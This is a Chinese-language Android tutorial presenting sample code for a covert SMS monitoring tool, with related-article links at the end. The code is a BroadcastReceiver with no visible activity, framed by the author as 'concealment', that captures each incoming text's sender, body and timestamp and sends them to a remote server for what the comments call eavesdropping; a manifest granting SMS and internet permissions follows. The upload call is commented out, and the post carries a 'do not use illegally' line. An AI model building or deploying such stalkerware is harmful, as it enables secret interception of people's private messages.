android短信监听工具(示例代码)
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立activity。这样也算是一种“遮掩”吧。使用broadcastreceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
package cn.itcast.sms;
import java.sql.date;
import java.text.simpledateformat;
import java.util.hashmap;
import java.util.map;
import cn.itcast.utils.sockethttprequester;
import android.content.broadcastreceiver;
import android.content.context;
import android.content.intent;
import android.telephony.smsmessage;
import android.util.log;
public class smsbroadcastreceiver extends broadcastreceiver {
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@override
public void onreceive(context context, intent intent) {
object[] pduses = (object[])intent.getextras().get("pdus");
for(object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//没一条短信
smsmessage sms = smsmessage.createfrompdu(pdusmessage);
string mobile = sms.getoriginatingaddress();//得到电话号码
string content = sms.getmessagebody();//得到短信的内容
date date = new date(sms.gettimestampmillis());//得到发送短信具体时间
//2009-10-12 12:21:23
simpledateformat format = new simpledateformat("yyyy-mm-dd hh:mm:ss");//为实践设置格式
string sendtime = format.format(date);
map<string, string> params = new hashmap<string, string>();
params.put("method", "getsms");//将与短信相关的内容全部都放到集合里
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服务器发送窃听到的内容
//sockethttprequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "utf-8");
} catch (exception e) {
log.e("smsbroadcastreceiver", e.tostring());
}
}
}
}
注意修改android项目文件的配置
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versioncode="1"
android:versionname="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".smsbroadcastreceiver">
<intent-filter>
<action android:name="android.provider.telephony.sms_received"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minsdkversion="8" />
<uses-permission android:name="android.permission.receive_sms"/><!-- 接收短信权限 -->
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.internet"/>
</manifest>
最后说一点,android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.telephony.sms_received
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
//生成广播处理
smsbroadcastreceiver = new smsbroadcastreceiver();
//实例化过滤器并设置要过滤的广播
intentfilter intentfilter = new intentfilter();
intentfilter.addaction(sms_action);
//注册广播
broadcastreceiveractivity.this.registerreceiver(smsbroadcastreceiver, intentfilter);
推荐阅读
-
Android开发之自带下载器DownloadManager的使用示例代码
-
Android动态显示当前年月日时分秒系统时间(示例代码)
-
Android对图片Drawable实现变色示例代码
-
Android中封装RecyclerView实现添加头部和底部示例代码
-
Android Picasso使用高斯模糊处理的示例代码
-
Native.js获取监听开关等操作Android蓝牙设备实例代码
-
Android来电监听和去电监听实现代码
-
Android App内监听截图加二维码功能代码
-
Android 短信转换成彩信的消息数量(实例代码)
-
Android TextView实现带链接文字事件监听的三种常用方式示例